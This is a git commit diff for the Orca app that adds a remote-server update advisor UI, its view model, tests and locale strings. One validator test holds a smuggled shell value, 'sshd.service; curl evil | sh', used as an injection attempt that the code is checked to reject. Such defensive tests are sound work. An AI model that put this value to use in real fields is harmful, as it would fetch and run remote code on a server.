feat(settings): render remote server update advisor for blocked runtime environments

Co-authored-by: Orca <help@stably.ai>
This commit is contained in:
Jinjing
2026-07-20 11:44:45 -07:00
co-authored by Orca
parent d14b38c9df
commit dc2bd72d7f
11 changed files with 766 additions and 103 deletions
@@ -53,6 +53,8 @@ import {
getWebRuntimeEnvironmentsSearchEntry
} from './runtime-environments-search'
import { unwrapRuntimeRpcResult } from '@/runtime/runtime-rpc-client'
import { RuntimeUpdateAdvisor, type RuntimeUpdateRecheckState } from './RuntimeUpdateAdvisor'
import { parseEndpointPortHint } from './runtime-update-advisor-model'
import { useAppStore } from '@/store'
import { translate } from '@/i18n/i18n'
import { cn } from '@/lib/utils'
@@ -259,6 +261,9 @@ export function RuntimeEnvironmentsPane({
const [switchingValue, setSwitchingValue] = useState<string | null>(null)
const [removingId, setRemovingId] = useState<string | null>(null)
const [disconnectingId, setDisconnectingId] = useState<string | null>(null)
const [recheckStateById, setRecheckStateById] = useState<
Record<string, RuntimeUpdateRecheckState>
>({})
const [pendingSwitchValue, setPendingSwitchValue] = useState<string | null>(null)
const [pendingRemove, setPendingRemove] = useState<PublicKnownRuntimeEnvironment | null>(null)
const [addServerFormOpen, setAddServerFormOpen] = useState(false)
@@ -675,6 +680,56 @@ export function RuntimeEnvironmentsPane({
}
}
// "Check again" from the update advisor: re-read status through the raw,
// non-asserting RPC (unwrap only, never assertRuntimeStatusCompatible) so
// detection/versions keep rendering, then re-evaluate compatibility. On an ok
// verdict the blocked row clears back to the normal view; on continued
// incompatibility the advisor shows an inline "still out of date" note.
const recheckEnvironment = async (environment: PublicKnownRuntimeEnvironment): Promise<void> => {
setRecheckStateById((current) => ({ ...current, [environment.id]: 'checking' }))
try {
const response = await window.api.runtimeEnvironments.getStatus({
selector: environment.id,
timeoutMs: 15_000
})
const runtimeStatus = unwrapRuntimeRpcResult<RuntimeStatus>(response)
const compatibility = evaluateHostDetails(runtimeStatus)
useAppStore.getState().setRuntimeEnvironmentStatus(environment.id, {
status: runtimeStatus,
checkedAt: Date.now()
})
if (!mountedRef.current) {
return
}
setDetailsByEnvironmentId((current) => ({
...current,
[environment.id]: { status: 'ready', runtimeStatus, compatibility, error: null }
}))
setRecheckStateById((current) => ({
...current,
[environment.id]: compatibility.kind === 'blocked' ? 'still-blocked' : 'idle'
}))
} catch (error) {
useAppStore.getState().setRuntimeEnvironmentStatus(environment.id, {
status: null,
checkedAt: Date.now()
})
if (!mountedRef.current) {
return
}
setDetailsByEnvironmentId((current) => ({
...current,
[environment.id]: {
status: 'error',
runtimeStatus: null,
compatibility: null,
error: error instanceof Error ? error.message : String(error)
}
}))
setRecheckStateById((current) => ({ ...current, [environment.id]: 'idle' }))
}
}
const switchToValue = async (value: string): Promise<boolean> => {
if (value === NO_RUNTIME_VALUE) {
return false
@@ -866,7 +921,7 @@ export function RuntimeEnvironmentsPane({
<div
key={environment.id}
data-settings-section={environment.id}
className="flex items-center gap-3 px-4 py-3"
className="px-4 py-3"
>
{(() => {
const details = detailsByEnvironmentId[environment.id]
@@ -875,6 +930,8 @@ export function RuntimeEnvironmentsPane({
const connectionState = getRuntimeServerConnectionState(details)
// A connected host exposes Disconnect; otherwise Connect.
const isReachable = connectionState === 'connected'
const blockedVerdict =
details?.compatibility?.kind === 'blocked' ? details.compatibility : null
const actionBusy =
connectingId === environment.id ||
switchingValue === environment.id ||
@@ -882,109 +939,119 @@ export function RuntimeEnvironmentsPane({
removingId === environment.id
return (
<>
<Server className="size-4 shrink-0 text-muted-foreground" />
<div className="min-w-0 flex-1">
<div className="flex min-w-0 items-center gap-2">
<div className="truncate text-sm font-medium">{environment.name}</div>
<span
className={cn(
'size-2 shrink-0 rounded-full',
getRuntimeServerDotClass(connectionState)
)}
/>
<span className="text-[11px] text-muted-foreground">
{getRuntimeServerConnectionLabel(connectionState)}
</span>
{details?.compatibility?.kind === 'blocked' ? (
<AlertTriangle className="size-3.5 shrink-0 text-destructive" />
) : details?.status === 'loading' ? (
<Loader2 className="size-3.5 shrink-0 animate-spin text-muted-foreground" />
<div className="flex items-center gap-3">
<Server className="size-4 shrink-0 text-muted-foreground" />
<div className="min-w-0 flex-1">
<div className="flex min-w-0 items-center gap-2">
<div className="truncate text-sm font-medium">{environment.name}</div>
<span
className={cn(
'size-2 shrink-0 rounded-full',
getRuntimeServerDotClass(connectionState)
)}
/>
<span className="text-[11px] text-muted-foreground">
{getRuntimeServerConnectionLabel(connectionState)}
</span>
{details?.compatibility?.kind === 'blocked' ? (
<AlertTriangle className="size-3.5 shrink-0 text-destructive" />
) : details?.status === 'loading' ? (
<Loader2 className="size-3.5 shrink-0 animate-spin text-muted-foreground" />
) : null}
</div>
<p className="truncate text-xs text-muted-foreground">
{isActive
? translate(
'auto.components.settings.RuntimeEnvironmentsPane.activeServerRowHelp',
'Active server for server-routed projects, terminals, and provider checks.'
)
: getHostDetailsSummary(details)}
</p>
{/* Blocked hosts render the full advisor below the row,
so the truncated line is kept only for error states. */}
{detailsDescription && !blockedVerdict ? (
<p className="mt-0.5 truncate text-xs text-muted-foreground">
{detailsDescription}
</p>
) : null}
</div>
<p className="truncate text-xs text-muted-foreground">
{isActive
? translate(
'auto.components.settings.RuntimeEnvironmentsPane.activeServerRowHelp',
'Active server for server-routed projects, terminals, and provider checks.'
)
: getHostDetailsSummary(details)}
</p>
{detailsDescription ? (
<p
className={cn(
'mt-0.5 truncate text-xs',
details?.compatibility?.kind === 'blocked'
? 'text-destructive'
: 'text-muted-foreground'
)}
>
{detailsDescription}
</p>
) : null}
</div>
<div className="flex shrink-0 items-center gap-1">
{isReachable ? (
<Button
type="button"
variant="ghost"
size="xs"
className="gap-1.5"
onClick={() => void disconnectEnvironment(environment)}
disabled={actionBusy}
>
{disconnectingId === environment.id ? (
<Loader2 className="size-3 animate-spin" />
) : (
<ServerOff className="size-3" />
)}
{translate(
'auto.components.settings.RuntimeEnvironmentsPane.disconnect',
'Disconnect'
)}
</Button>
) : (
<Button
type="button"
variant="ghost"
size="xs"
className="gap-1.5"
onClick={() => void connectEnvironment(environment)}
disabled={actionBusy || connectionState === 'checking'}
>
{connectingId === environment.id ? (
<Loader2 className="size-3 animate-spin" />
) : (
<Server className="size-3" />
)}
{translate(
'auto.components.settings.RuntimeEnvironmentsPane.connect',
'Connect'
)}
</Button>
)}
<Button
type="button"
variant="ghost"
size="icon"
onClick={() => {
setRemoveError(null)
setPendingRemove(environment)
}}
className="size-7 text-muted-foreground hover:text-red-400"
disabled={isBusy}
aria-label={translate(
'auto.components.settings.RuntimeEnvironmentsPane.aeb26635d2',
'Remove {{value0}}',
{ value0: environment.name }
)}
>
{removingId === environment.id ? (
<Loader2 className="size-3 animate-spin" />
<div className="flex shrink-0 items-center gap-1">
{isReachable ? (
<Button
type="button"
variant="ghost"
size="xs"
className="gap-1.5"
onClick={() => void disconnectEnvironment(environment)}
disabled={actionBusy}
>
{disconnectingId === environment.id ? (
<Loader2 className="size-3 animate-spin" />
) : (
<ServerOff className="size-3" />
)}
{translate(
'auto.components.settings.RuntimeEnvironmentsPane.disconnect',
'Disconnect'
)}
</Button>
) : (
<Trash2 className="size-3" />
<Button
type="button"
variant="ghost"
size="xs"
className="gap-1.5"
onClick={() => void connectEnvironment(environment)}
disabled={actionBusy || connectionState === 'checking'}
>
{connectingId === environment.id ? (
<Loader2 className="size-3 animate-spin" />
) : (
<Server className="size-3" />
)}
{translate(
'auto.components.settings.RuntimeEnvironmentsPane.connect',
'Connect'
)}
</Button>
)}
</Button>
<Button
type="button"
variant="ghost"
size="icon"
onClick={() => {
setRemoveError(null)
setPendingRemove(environment)
}}
className="size-7 text-muted-foreground hover:text-red-400"
disabled={isBusy}
aria-label={translate(
'auto.components.settings.RuntimeEnvironmentsPane.aeb26635d2',
'Remove {{value0}}',
{ value0: environment.name }
)}
>
{removingId === environment.id ? (
<Loader2 className="size-3 animate-spin" />
) : (
<Trash2 className="size-3" />
)}
</Button>
</div>
</div>
{blockedVerdict && details?.runtimeStatus ? (
<RuntimeUpdateAdvisor
verdict={blockedVerdict}
status={details.runtimeStatus}
portHint={parseEndpointPortHint(
environment.endpoints.find(
(candidate) => candidate.id === environment.preferredEndpointId
)?.endpoint ?? environment.endpoints[0]?.endpoint
)}
recheckState={recheckStateById[environment.id] ?? 'idle'}
onRecheck={() => void recheckEnvironment(environment)}
/>
) : null}
</>
)
})()}
@@ -0,0 +1,227 @@
import { AlertTriangle, Download, ExternalLink, Loader2, RefreshCw } from 'lucide-react'
import type { RuntimeCompatVerdict } from '../../../../shared/protocol-compat'
import type { RuntimeStatus } from '../../../../shared/runtime-types'
import type {
RuntimeUpdateGuide,
RuntimeUpdateGuideLink,
RuntimeUpdateGuideStep
} from '../../../../shared/runtime-update-guide'
import { NativeChatCopyButton } from '../native-chat/NativeChatCopyButton'
import { Button } from '../ui/button'
import { translate } from '@/i18n/i18n'
import { buildRuntimeUpdateAdvisorGuide } from './runtime-update-advisor-model'
/** 'checking' disables the button and shows a spinner; 'still-blocked' means the
* last recheck came back incompatible, so an inline note confirms the click had
* an effect even though the environment stays blocked. */
export type RuntimeUpdateRecheckState = 'idle' | 'checking' | 'still-blocked'
type RuntimeUpdateAdvisorProps = {
verdict: RuntimeCompatVerdict
status: RuntimeStatus
portHint?: number
recheckState: RuntimeUpdateRecheckState
onRecheck: () => void
}
export function RuntimeUpdateAdvisor({
verdict,
status,
portHint,
recheckState,
onRecheck
}: RuntimeUpdateAdvisorProps): React.JSX.Element | null {
const guide = buildRuntimeUpdateAdvisorGuide({ verdict, status, portHint })
if (!guide) {
return null
}
return (
<div className="mt-2 space-y-3 rounded-lg border border-border/60 bg-muted/20 p-3">
<div className="flex items-start gap-2">
<AlertTriangle className="mt-0.5 size-4 shrink-0 text-destructive" />
<div className="min-w-0 space-y-1">
<h4 className="text-sm font-semibold">{guide.title}</h4>
<p className="text-xs leading-relaxed text-muted-foreground">
{guide.direction === 'client-too-old' ? guide.message : guide.primary}
</p>
</div>
</div>
{guide.direction === 'client-too-old' ? (
<ClientUpdateAction />
) : (
<ServerUpdateGuide guide={guide} />
)}
<RecheckRow recheckState={recheckState} onRecheck={onRecheck} />
</div>
)
}
// ── client-too-old: local updater only, never server commands ──────────
function ClientUpdateAction(): React.JSX.Element {
// Why: the desktop updater surfaces its own progress/result via the global
// UpdateCard, so triggering a check here is the whole action. Guarded because
// web/mobile builds may not expose the updater — those get the release link.
const canCheckForUpdates = typeof window.api.updater?.check === 'function'
return (
<div className="flex flex-wrap items-center gap-2">
{canCheckForUpdates ? (
<Button
type="button"
variant="default"
size="xs"
className="gap-1.5"
onClick={() => void window.api.updater.check({ includePrerelease: false })}
>
<Download className="size-3" />
{translate(
'auto.components.settings.RuntimeUpdateAdvisor.checkForUpdates',
'Check for updates'
)}
</Button>
) : null}
<AdvisorLink
link={{
label: translate(
'auto.components.settings.RuntimeUpdateAdvisor.downloadOrca',
'Download the latest Orca'
),
url: 'https://github.com/stablyai/orca/releases'
}}
/>
</div>
)
}
// ── server-too-old: versions, detection, copyable steps, links ─────────
function ServerUpdateGuide({
guide
}: {
guide: Extract<RuntimeUpdateGuide, { direction: 'server-too-old' }>
}): React.JSX.Element {
return (
<div className="space-y-3">
<ServerUpdateMeta guide={guide} />
{guide.steps.length > 0 ? (
<ol className="space-y-2">
{guide.steps.map((step, index) => (
<li key={index}>
<AdvisorStep step={step} />
</li>
))}
</ol>
) : null}
{guide.links.length > 0 ? (
<div className="flex flex-wrap items-center gap-x-4 gap-y-1">
{guide.links.map((link) => (
<AdvisorLink key={link.url} link={link} />
))}
</div>
) : null}
</div>
)
}
function ServerUpdateMeta({
guide
}: {
guide: Extract<RuntimeUpdateGuide, { direction: 'server-too-old' }>
}): React.JSX.Element {
const protocolLine = translate(
'auto.components.settings.RuntimeUpdateAdvisor.protocolLine',
'Server protocol {{value0}}, this client requires {{value1}}.',
{
value0: guide.protocol.running,
value1: guide.protocol.required ?? '—'
}
)
return (
<div className="space-y-0.5 text-xs text-muted-foreground">
<p>{protocolLine}</p>
{guide.detectedLine ? <p>{guide.detectedLine}</p> : null}
{guide.serverVersion ? (
<p>
{translate(
'auto.components.settings.RuntimeUpdateAdvisor.serverVersion',
'Server version {{value0}}.',
{ value0: guide.serverVersion }
)}
</p>
) : null}
{guide.latestVersion ? (
<p>
{translate(
'auto.components.settings.RuntimeUpdateAdvisor.latestVersion',
'Latest version {{value0}}.',
{ value0: guide.latestVersion }
)}
</p>
) : null}
</div>
)
}
function AdvisorStep({ step }: { step: RuntimeUpdateGuideStep }): React.JSX.Element {
if (step.kind === 'prose') {
return <p className="text-xs leading-relaxed text-muted-foreground">{step.text}</p>
}
// A command block is a suggestion for the user to run on the server (typically
// over their own SSH session) — never a command Orca executes.
return (
<div className="relative rounded-md border border-border/60 bg-muted/40">
<pre className="scrollbar-sleek overflow-x-auto whitespace-pre px-3 py-2 pr-9 font-mono text-xs leading-relaxed text-foreground">
{step.text}
</pre>
<NativeChatCopyButton text={step.text} className="absolute right-1 top-1" />
</div>
)
}
function AdvisorLink({ link }: { link: RuntimeUpdateGuideLink }): React.JSX.Element {
return (
<Button
type="button"
variant="link"
size="xs"
className="h-auto gap-1 px-0"
onClick={() => void window.api.shell.openUrl(link.url)}
>
<ExternalLink className="size-3" />
{link.label}
</Button>
)
}
function RecheckRow({
recheckState,
onRecheck
}: {
recheckState: RuntimeUpdateRecheckState
onRecheck: () => void
}): React.JSX.Element {
const checking = recheckState === 'checking'
return (
<div className="flex flex-wrap items-center gap-2 border-t border-border/50 pt-2">
<Button
type="button"
variant="outline"
size="xs"
className="gap-1.5"
onClick={onRecheck}
disabled={checking}
>
{checking ? <Loader2 className="size-3 animate-spin" /> : <RefreshCw className="size-3" />}
{translate('auto.components.settings.RuntimeUpdateAdvisor.checkAgain', 'Check again')}
</Button>
{recheckState === 'still-blocked' ? (
<span className="text-xs text-muted-foreground">
{translate(
'auto.components.settings.RuntimeUpdateAdvisor.stillOutOfDate',
'Still out of date. Update the server, then check again.'
)}
</span>
) : null}
</div>
)
}
@@ -0,0 +1,134 @@
import { describe, expect, it } from 'vitest'
import {
buildRuntimeUpdateAdvisorGuide,
deriveRuntimeUpdateGuideInput,
parseEndpointPortHint
} from './runtime-update-advisor-model'
import {
describeRuntimeCompatBlock,
type RuntimeCompatVerdict
} from '../../../../shared/protocol-compat'
import { DEFAULT_SERVICE_NAME } from '../../../../shared/runtime-update-info-validation'
import type { RuntimeStatus, RuntimeUpdateInfo } from '../../../../shared/runtime-types'
const CLIENT_TOO_OLD: RuntimeCompatVerdict = {
kind: 'blocked',
reason: 'client-too-old',
clientProtocolVersion: 1,
serverProtocolVersion: 5,
requiredClientProtocolVersion: 4
}
const SERVER_TOO_OLD: RuntimeCompatVerdict = {
kind: 'blocked',
reason: 'server-too-old',
clientProtocolVersion: 5,
serverProtocolVersion: 1,
requiredServerProtocolVersion: 4
}
const OK: RuntimeCompatVerdict = {
kind: 'ok',
clientProtocolVersion: 5,
serverProtocolVersion: 5
}
function status(updateInfo?: RuntimeUpdateInfo): RuntimeStatus {
return {
runtimeId: 'remote-runtime',
rendererGraphEpoch: 0,
graphStatus: 'ready',
authoritativeWindowId: null,
liveTabCount: 0,
liveLeafCount: 0,
hostPlatform: 'linux',
updateInfo
}
}
describe('buildRuntimeUpdateAdvisorGuide verdict branching', () => {
it('returns null when the verdict is ok', () => {
expect(buildRuntimeUpdateAdvisorGuide({ verdict: OK, status: status() })).toBeNull()
})
it('routes client-too-old to the local updater with no server command blocks', () => {
// Even when the server advertises a command-producing install shape, the
// client-too-old path must never surface server commands.
const guide = buildRuntimeUpdateAdvisorGuide({
verdict: CLIENT_TOO_OLD,
status: status({ installKind: 'linux-appimage', restartKind: 'systemd' })
})
expect(guide?.direction).toBe('client-too-old')
if (guide?.direction !== 'client-too-old') {
throw new Error('expected client-too-old guide')
}
expect(guide.localUpdate).toBe(true)
expect(guide.message).toBe(describeRuntimeCompatBlock(CLIENT_TOO_OLD))
// The client-too-old shape has no steps field at all — no command blocks.
expect('steps' in guide).toBe(false)
})
it('produces copyable command steps for a server-too-old AppImage host', () => {
const guide = buildRuntimeUpdateAdvisorGuide({
verdict: SERVER_TOO_OLD,
status: status({ installKind: 'linux-appimage', restartKind: 'systemd' }),
portHint: 6900
})
if (guide?.direction !== 'server-too-old') {
throw new Error('expected server-too-old guide')
}
expect(guide.steps.some((step) => step.kind === 'command')).toBe(true)
expect(guide.protocol).toEqual({ running: 1, required: 4 })
})
})
describe('deriveRuntimeUpdateGuideInput trust boundary', () => {
it('passes untrusted updateInfo through validation before building the guide', () => {
const derived = deriveRuntimeUpdateGuideInput({
verdict: SERVER_TOO_OLD,
status: status({
installKind: 'linux-appimage',
restartKind: 'systemd',
// Injection attempt: must be discarded and replaced with the default.
serviceName: 'sshd.service; curl evil | sh',
// Unrecognized enum → 'unknown' is never surfaced here because
// installKind above is valid, but a bad hostArch must be dropped.
hostArch: 'sparc'
}),
portHint: 6900
})
expect(derived.installKind).toBe('linux-appimage')
expect(derived.restartKind).toBe('systemd')
expect(derived.serviceName).toBe(DEFAULT_SERVICE_NAME)
expect(derived.hostArch).toBeUndefined()
expect(derived.port).toBe(6900)
// assetUrl is owned by a later unit and must stay unset here.
expect(derived.assetUrl).toBeUndefined()
})
it('maps unrecognized install/restart kinds to unknown', () => {
const derived = deriveRuntimeUpdateGuideInput({
verdict: SERVER_TOO_OLD,
status: status({
installKind: 'made-up-kind' as RuntimeUpdateInfo['installKind'],
restartKind: 'made-up' as RuntimeUpdateInfo['restartKind']
})
})
expect(derived.installKind).toBe('unknown')
expect(derived.restartKind).toBe('unknown')
})
})
describe('parseEndpointPortHint', () => {
it('extracts an explicit port from the paired endpoint', () => {
expect(parseEndpointPortHint('wss://example.com:6768/pair')).toBe(6768)
})
it('returns undefined without an explicit port or for unparseable input', () => {
expect(parseEndpointPortHint('wss://example.com/pair')).toBeUndefined()
expect(parseEndpointPortHint('not a url')).toBeUndefined()
expect(parseEndpointPortHint(undefined)).toBeUndefined()
expect(parseEndpointPortHint(null)).toBeUndefined()
expect(parseEndpointPortHint('')).toBeUndefined()
})
})
@@ -0,0 +1,77 @@
// Why: pure derivation of the advisor's view model from the compat verdict and
// the blocked server's status. Kept out of the React component so the
// verdict-branching logic (client-too-old renders no server commands) can be
// unit-tested without rendering, and so the trust boundary — always running raw
// `status.updateInfo` through the shared validator — lives in one place.
import type { RuntimeCompatVerdict } from '../../../../shared/protocol-compat'
import type { RuntimeStatus } from '../../../../shared/runtime-types'
import {
buildRuntimeUpdateGuide,
type RuntimeUpdateGuide,
type RuntimeUpdateGuideInput
} from '../../../../shared/runtime-update-guide'
import { validateRuntimeUpdateInfo } from '../../../../shared/runtime-update-info-validation'
export type RuntimeUpdateAdvisorModelInput = {
verdict: RuntimeCompatVerdict
status: RuntimeStatus
/** Port from the client's own paired endpoint — a hint the guide falls back
* from when absent. Never sourced from server metadata. */
portHint?: number
}
/**
* Derive the guide-matrix input from the verdict + status. `status.updateInfo`
* is untrusted server data, so it always passes through `validateRuntimeUpdateInfo`
* before any field selects a template or fills a placeholder. `assetUrl` is left
* unset — a later unit supplies exact release asset URLs.
*/
export function deriveRuntimeUpdateGuideInput(
input: RuntimeUpdateAdvisorModelInput
): RuntimeUpdateGuideInput {
const validated = validateRuntimeUpdateInfo(input.status.updateInfo)
return {
verdict: input.verdict,
hostPlatform: input.status.hostPlatform,
installKind: validated.installKind,
restartKind: validated.restartKind,
hostArch: validated.hostArch,
serviceName: validated.serviceName,
installPath: validated.installPath,
currentVersion: validated.currentVersion,
latestVersion: validated.latestVersion,
updateAvailable: validated.updateAvailable,
docsUrl: validated.docsUrl,
port: input.portHint
}
}
/** null when the verdict is not a block: the advisor renders nothing. */
export function buildRuntimeUpdateAdvisorGuide(
input: RuntimeUpdateAdvisorModelInput
): RuntimeUpdateGuide | null {
return buildRuntimeUpdateGuide(deriveRuntimeUpdateGuideInput(input))
}
/**
* Best-effort port hint parsed from the client-owned paired endpoint string
* (e.g. `wss://host:6768/...`). Returns undefined when the endpoint carries no
* explicit port or cannot be parsed, so the guide uses its documented default.
*/
export function parseEndpointPortHint(endpoint: string | undefined | null): number | undefined {
if (!endpoint) {
return undefined
}
let parsed: URL
try {
parsed = new URL(endpoint)
} catch {
return undefined
}
if (!parsed.port) {
return undefined
}
const port = Number(parsed.port)
return Number.isInteger(port) ? port : undefined
}
+9
View File
@@ -9247,6 +9247,15 @@
},
"MobileRelayBetaNotice": {
"notice": "Orca Relay is in beta."
},
"RuntimeUpdateAdvisor": {
"checkForUpdates": "Check for updates",
"downloadOrca": "Download the latest Orca",
"protocolLine": "Server protocol {{value0}}, this client requires {{value1}}.",
"serverVersion": "Server version {{value0}}.",
"latestVersion": "Latest version {{value0}}.",
"checkAgain": "Check again",
"stillOutOfDate": "Still out of date. Update the server, then check again."
}
},
"right": {
+9
View File
@@ -9224,6 +9224,15 @@
},
"MobileRelayBetaNotice": {
"notice": "Orca Relay is in beta."
},
"RuntimeUpdateAdvisor": {
"checkForUpdates": "Check for updates",
"downloadOrca": "Download the latest Orca",
"protocolLine": "Server protocol {{value0}}, this client requires {{value1}}.",
"serverVersion": "Server version {{value0}}.",
"latestVersion": "Latest version {{value0}}.",
"checkAgain": "Check again",
"stillOutOfDate": "Still out of date. Update the server, then check again."
}
},
"right": {
+9
View File
@@ -9224,6 +9224,15 @@
},
"MobileRelayBetaNotice": {
"notice": "Orca Relay is in beta."
},
"RuntimeUpdateAdvisor": {
"checkForUpdates": "Check for updates",
"downloadOrca": "Download the latest Orca",
"protocolLine": "Server protocol {{value0}}, this client requires {{value1}}.",
"serverVersion": "Server version {{value0}}.",
"latestVersion": "Latest version {{value0}}.",
"checkAgain": "Check again",
"stillOutOfDate": "Still out of date. Update the server, then check again."
}
},
"right": {
+9
View File
@@ -9224,6 +9224,15 @@
},
"MobileRelayBetaNotice": {
"notice": "Orca Relay is in beta."
},
"RuntimeUpdateAdvisor": {
"checkForUpdates": "Check for updates",
"downloadOrca": "Download the latest Orca",
"protocolLine": "Server protocol {{value0}}, this client requires {{value1}}.",
"serverVersion": "Server version {{value0}}.",
"latestVersion": "Latest version {{value0}}.",
"checkAgain": "Check again",
"stillOutOfDate": "Still out of date. Update the server, then check again."
}
},
"right": {
+9
View File
@@ -9224,6 +9224,15 @@
},
"MobileRelayBetaNotice": {
"notice": "Orca Relay is in beta."
},
"RuntimeUpdateAdvisor": {
"checkForUpdates": "Check for updates",
"downloadOrca": "Download the latest Orca",
"protocolLine": "Server protocol {{value0}}, this client requires {{value1}}.",
"serverVersion": "Server version {{value0}}.",
"latestVersion": "Latest version {{value0}}.",
"checkAgain": "Check again",
"stillOutOfDate": "Still out of date. Update the server, then check again."
}
},
"right": {
@@ -0,0 +1,86 @@
import { describe, expect, it } from 'vitest'
import {
assertRuntimeStatusCompatible,
getRuntimeCompatBlockDetails,
isRuntimeCompatBlockError,
RUNTIME_COMPAT_BLOCK_CODE
} from './runtime-protocol-compat'
import { describeRuntimeCompatBlock } from '../../../shared/protocol-compat'
import {
MIN_COMPATIBLE_RUNTIME_SERVER_VERSION,
RUNTIME_PROTOCOL_VERSION
} from '../../../shared/protocol-version'
import type { RuntimeStatus } from '../../../shared/runtime-types'
function blockedStatus(overrides: Partial<RuntimeStatus> = {}): RuntimeStatus {
return {
runtimeId: 'remote-runtime',
rendererGraphEpoch: 0,
graphStatus: 'ready',
authoritativeWindowId: null,
liveTabCount: 0,
liveLeafCount: 0,
// Old server: below the client's minimum → server-too-old block.
runtimeProtocolVersion: MIN_COMPATIBLE_RUNTIME_SERVER_VERSION - 1,
hostPlatform: 'linux',
...overrides
}
}
describe('assertRuntimeStatusCompatible block error threading', () => {
it('does not throw for a compatible status', () => {
expect(() =>
assertRuntimeStatusCompatible(
blockedStatus({ runtimeProtocolVersion: RUNTIME_PROTOCOL_VERSION })
)
).not.toThrow()
})
it('throws a coded Error whose message stays the descriptive block text', () => {
const status = blockedStatus()
let thrown: unknown
try {
assertRuntimeStatusCompatible(status)
} catch (error) {
thrown = error
}
expect(thrown).toBeInstanceOf(Error)
expect(isRuntimeCompatBlockError(thrown)).toBe(true)
expect((thrown as { code?: string }).code).toBe(RUNTIME_COMPAT_BLOCK_CODE)
// The runtime-environment switch flow reads only `.message`; keep it intact.
const details = getRuntimeCompatBlockDetails(thrown)
expect(details).not.toBeNull()
expect((thrown as Error).message).toBe(describeRuntimeCompatBlock(details!.verdict))
})
it('carries the verdict and the full status on the block error', () => {
const status = blockedStatus({ updateInfo: { installKind: 'linux-appimage' } })
let thrown: unknown
try {
assertRuntimeStatusCompatible(status)
} catch (error) {
thrown = error
}
const details = getRuntimeCompatBlockDetails(thrown)
expect(details).not.toBeNull()
expect(details!.verdict).toMatchObject({ kind: 'blocked', reason: 'server-too-old' })
// The exact status object is threaded so the advisor can read updateInfo/hostPlatform.
expect(details!.status).toBe(status)
expect(details!.status.updateInfo).toEqual({ installKind: 'linux-appimage' })
})
})
describe('getRuntimeCompatBlockDetails', () => {
it('returns null for non-block errors and non-errors', () => {
expect(getRuntimeCompatBlockDetails(null)).toBeNull()
expect(getRuntimeCompatBlockDetails(new Error('transport failed'))).toBeNull()
expect(getRuntimeCompatBlockDetails('runtime_compat_block')).toBeNull()
})
it('returns null for a legacy block error lacking verdict/status', () => {
const legacy = new Error('too old') as Error & { code?: string }
legacy.code = RUNTIME_COMPAT_BLOCK_CODE
expect(isRuntimeCompatBlockError(legacy)).toBe(true)
expect(getRuntimeCompatBlockDetails(legacy)).toBeNull()
})
})
@@ -1,4 +1,8 @@
import { describeRuntimeCompatBlock, evaluateRuntimeCompat } from '../../../shared/protocol-compat'
import {
describeRuntimeCompatBlock,
evaluateRuntimeCompat,
type RuntimeCompatVerdict
} from '../../../shared/protocol-compat'
import {
MIN_COMPATIBLE_RUNTIME_SERVER_VERSION,
RUNTIME_PROTOCOL_VERSION
@@ -10,12 +14,31 @@ import type { RuntimeStatus } from '../../../shared/runtime-types'
* the runtime-environment switch flow, reads only `.message` and is unaffected. */
export const RUNTIME_COMPAT_BLOCK_CODE = 'runtime_compat_block'
/** The compat verdict and the blocked server's status, carried on the thrown
* block error so the advisor can render detection/versions without re-probing.
* The gate stays a plain `Error` with `.code` + `.message`; these are extra
* own-properties consumers read only through `getRuntimeCompatBlockDetails`. */
export type RuntimeCompatBlockDetails = {
verdict: RuntimeCompatVerdict
status: RuntimeStatus
}
/** True when `error` is the protocol-compat block thrown by
* `assertRuntimeStatusCompatible` (vs a transient transport/timeout error). */
export function isRuntimeCompatBlockError(error: unknown): boolean {
return error instanceof Error && (error as { code?: string }).code === RUNTIME_COMPAT_BLOCK_CODE
}
/** Reads the verdict + status attached to a compat-block error. Returns null for
* any other error, or a block error thrown before this contract existed. */
export function getRuntimeCompatBlockDetails(error: unknown): RuntimeCompatBlockDetails | null {
if (!isRuntimeCompatBlockError(error)) {
return null
}
const { verdict, status } = error as { verdict?: RuntimeCompatVerdict; status?: RuntimeStatus }
return verdict && status ? { verdict, status } : null
}
export function assertRuntimeStatusCompatible(status: RuntimeStatus): void {
const verdict = evaluateRuntimeCompat({
clientProtocolVersion: RUNTIME_PROTOCOL_VERSION,
@@ -26,9 +49,13 @@ export function assertRuntimeStatusCompatible(status: RuntimeStatus): void {
})
if (verdict.kind === 'blocked') {
// Preserve the descriptive message; add a `.code` marker so callers can
// distinguish a version block from a transport failure.
const error = new Error(describeRuntimeCompatBlock(verdict))
;(error as { code?: string }).code = RUNTIME_COMPAT_BLOCK_CODE
// distinguish a version block from a transport failure, plus verdict/status
// so the advisor can render guidance while the environment stays blocked.
const error = new Error(describeRuntimeCompatBlock(verdict)) as Error &
Partial<RuntimeCompatBlockDetails> & { code?: string }
error.code = RUNTIME_COMPAT_BLOCK_CODE
error.verdict = verdict
error.status = status
throw error
}
}